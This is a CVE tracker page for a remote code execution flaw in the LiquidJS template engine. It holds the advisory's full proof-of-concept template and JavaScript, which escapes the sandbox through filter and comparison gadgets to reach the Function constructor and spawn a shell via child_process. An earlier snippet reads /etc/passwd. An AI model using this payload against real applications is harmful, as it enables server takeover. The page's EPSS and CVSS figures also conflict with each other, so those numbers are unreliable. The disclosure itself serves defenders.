CVE-2026-45618

CRITICALPre-NVD 10.010.0
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 10.0 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 74% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
10.0
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 10.0Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

LiquidJS is Vulnerable to Remote Code Execution

Summary

It is possible to execute arbitrary code with crafted templates

Details

1|valueOf -> this when evaluating the filter

{%assign r=1|valueOf%}
{{r|inspect}}

{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}

function calls with a controlled first argument via comprable

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1);

return {% assign _g = ${path}|group_by:"0"%} {% assign _gs = _g | where:n,"${prop}"|first%} {% assign ${dst} = _gs.items | first | last %}; };

const tpl = {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign fs = r.liquid.options.fs assign n = "name"%}

${storeFn("equals", "fs.readFileSync")} ${storeFn("gt", "fs.readFileSync")} ${storeFn("geq", "fs.readFileSync")} ${storeFn("lt", "fs.readFileSync")} ${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}} ;

const v = await engine.parseAndRender(tpl, {}); console.log(v.trim());

changing the prototype of things

import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = {% liquid assign r = 1|valueOf assign m = r.context.scopes|first %}

{{m|log}} {% assign __proto__ = r.liquid.parser %} {{m|log}} ;

const v = await engine.parseAndRender(tpl, {}); console.log(v.trim());

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }

PoC

_Complete instructions, including specific configuration details, to reproduce the vulnerability._

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1);

return {% assign _g = ${path}|group_by:"0"%} {% assign _gs = _g | where:n,"${prop}"|first%} {% assign ${dst} = _gs.items | first | last %}; };

const tpl = {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign l = r.liquid assign p = l.parser assign f = l.filters assign n = "name"%}

${storeFn("equals", "p.parseFile")} ${storeFn("gt", "p.parseFile")} ${storeFn("geq", "p.parseFile")} ${storeFn("lt", "p.parseFile")} ${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")} ${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %} {% assign context = m %} {% assign opts = m %} {% assign liquid = m %} {% assign options = m %} {% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %} {% assign tagDelimiterRight = n %} {% assign outputDelimiterLeft = '[' %} {% assign outputDelimiterRight = ']'%}

{# set to some some function, so that filters['constructor'] -> Function #} ${storeFn("filters", "f.raw.handler")}

{# store Function #} {% assign output = m == "[0|constructor]" | first %} {% assign val = output.value.filters|first %}

{# set scope.equals to Function #} ${storeFn("equals", "val.handler")} {% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %} {{RCE}} ;

const v = await engine.parseAndRender(tpl, {}); console.log(v.trim());

Impact

_What kind of vulnerability is it? Who is impacted?_ Remote Code Execution.

CVSS v3
10.0
EG Score
10.0(low)
EPSS
25.6%
KEV
Not listed

Published

May 27, 2026

Last Modified

May 27, 2026

Vendor Advisories for CVE-2026-45618(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFixed inDependents
liquidjs10.26.0

Data Freshness Timeline

(refreshed 1× in last 7d / 41× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 128 total refreshes for this CVE.

  1. 2026-07-11 23:15 UTCEG score recompute
  2. 2026-07-08 23:34 UTCEG score recompute
  3. 2026-07-02 23:53 UTCEG score recompute
  4. 2026-07-01 21:21 UTCEG score recompute
  5. 2026-07-01 14:05 UTCEG score recompute
  6. 2026-07-01 09:26 UTCEG score recompute
  7. 2026-06-30 09:07 UTCEG score recompute
  8. 2026-06-30 02:41 UTCEG score recompute
  9. 2026-06-29 19:47 UTCEG score recompute
  10. 2026-06-29 14:04 UTCEG score recompute
  11. 2026-06-29 00:59 UTCEG score recompute
  12. 2026-06-28 20:48 UTCEG score recompute
  13. 2026-06-28 16:35 UTCEG score recompute
  14. 2026-06-28 11:05 UTCEG score recompute
  15. 2026-06-28 06:54 UTCEG score recompute
  16. 2026-06-28 02:44 UTCEG score recompute
  17. 2026-06-27 22:34 UTCEG score recompute
  18. 2026-06-27 18:24 UTCEG score recompute
  19. 2026-06-27 14:08 UTCEG score recompute
  20. 2026-06-27 09:53 UTCEG score recompute
  21. 2026-06-27 05:42 UTCEG score recompute
  22. 2026-06-26 21:12 UTCEG score recompute
  23. 2026-06-26 17:01 UTCEG score recompute
  24. 2026-06-26 02:16 UTCEG score recompute
  25. 2026-06-25 21:26 UTCEG score recompute
Show 75 more
  1. 2026-06-25 17:16 UTCEG score recompute
  2. 2026-06-25 13:06 UTCEG score recompute
  3. 2026-06-25 08:53 UTCEG score recompute
  4. 2026-06-24 23:57 UTCEG score recompute
  5. 2026-06-18 02:53 UTCEG score recompute
  6. 2026-06-17 22:43 UTCEG score recompute
  7. 2026-06-17 18:33 UTCEG score recompute
  8. 2026-06-17 13:49 UTCEG score recompute
  9. 2026-06-17 09:38 UTCEG score recompute
  10. 2026-06-17 04:49 UTCEG score recompute
  11. 2026-06-17 00:17 UTCEG score recompute
  12. 2026-06-16 20:05 UTCEG score recompute
  13. 2026-06-16 15:55 UTCEG score recompute
  14. 2026-06-16 10:47 UTCEG score recompute
  15. 2026-06-16 06:36 UTCEG score recompute
  16. 2026-06-16 02:25 UTCEG score recompute
  17. 2026-06-15 22:15 UTCEG score recompute
  18. 2026-06-15 13:19 UTCEG score recompute
  19. 2026-06-15 05:29 UTCEG score recompute
  20. 2026-06-15 01:19 UTCEG score recompute
  21. 2026-06-14 23:18 UTCEPSS rescore
  22. 2026-06-14 21:09 UTCEG score recompute
  23. 2026-06-14 16:59 UTCEG score recompute
  24. 2026-06-14 12:47 UTCEG score recompute
  25. 2026-06-14 08:37 UTCEG score recompute
  26. 2026-06-14 04:27 UTCEG score recompute
  27. 2026-06-13 23:52 UTCEG score recompute
  28. 2026-06-13 23:00 UTCEPSS rescore
  29. 2026-06-13 19:42 UTCEG score recompute
  30. 2026-06-13 11:54 UTCEG score recompute
  31. 2026-06-13 07:20 UTCEG score recompute
  32. 2026-06-13 03:07 UTCEG score recompute
  33. 2026-06-12 23:12 UTCEPSS rescore
  34. 2026-06-12 22:56 UTCEG score recompute
  35. 2026-06-12 18:46 UTCEG score recompute
  36. 2026-06-12 14:35 UTCEG score recompute
  37. 2026-06-12 10:23 UTCEG score recompute
  38. 2026-06-12 06:12 UTCEG score recompute
  39. 2026-06-12 02:02 UTCEG score recompute
  40. 2026-06-11 21:51 UTCEG score recompute
  41. 2026-06-11 17:42 UTCEG score recompute
  42. 2026-06-11 13:31 UTCEG score recompute
  43. 2026-06-11 09:21 UTCEG score recompute
  44. 2026-06-11 05:11 UTCEG score recompute
  45. 2026-06-11 01:00 UTCEG score recompute
  46. 2026-06-10 20:50 UTCEG score recompute
  47. 2026-06-10 16:39 UTCEG score recompute
  48. 2026-06-10 12:29 UTCEG score recompute
  49. 2026-06-10 08:19 UTCEG score recompute
  50. 2026-06-10 04:09 UTCEG score recompute
  51. 2026-06-09 23:59 UTCEG score recompute
  52. 2026-06-09 19:49 UTCEG score recompute
  53. 2026-06-09 15:39 UTCEG score recompute
  54. 2026-06-09 11:29 UTCEG score recompute
  55. 2026-06-09 07:20 UTCEG score recompute
  56. 2026-06-09 03:10 UTCEG score recompute
  57. 2026-06-08 23:00 UTCEG score recompute
  58. 2026-06-08 18:49 UTCEG score recompute
  59. 2026-06-08 12:36 UTCEG score recompute
  60. 2026-06-08 08:26 UTCEG score recompute
  61. 2026-06-08 04:16 UTCEG score recompute
  62. 2026-06-08 00:06 UTCEG score recompute
  63. 2026-06-07 19:57 UTCEG score recompute
  64. 2026-06-07 15:47 UTCEG score recompute
  65. 2026-06-07 11:37 UTCEG score recompute
  66. 2026-06-07 07:27 UTCEG score recompute
  67. 2026-06-07 03:17 UTCEG score recompute
  68. 2026-06-06 23:07 UTCEG score recompute
  69. 2026-06-06 18:57 UTCEG score recompute
  70. 2026-06-06 14:47 UTCEG score recompute
  71. 2026-06-06 10:36 UTCEG score recompute
  72. 2026-06-06 06:26 UTCEG score recompute
  73. 2026-06-06 02:16 UTCEG score recompute
  74. 2026-06-05 22:06 UTCEG score recompute
  75. 2026-06-05 17:56 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-45618?
CVE-2026-45618 is a critical vulnerability published on May 27, 2026. LiquidJS is Vulnerable to Remote Code Execution Summary It is possible to execute arbitrary code with crafted templates Details <details> <summary> 1|valueOf -> this when evaluating the filter </summary> </details> <details> <summary> function calls with a controlled first argument via comprable…
When was CVE-2026-45618 disclosed?
CVE-2026-45618 was first published in the National Vulnerability Database on May 27, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-45618 actively exploited?
CVE-2026-45618 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 25.6% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-45618?
CVE-2026-45618 has a CVSS v4.0 base score of 10.0 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-45618?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45618, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45618

Explore →

Is Your Infrastructure Affected by CVE-2026-45618?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.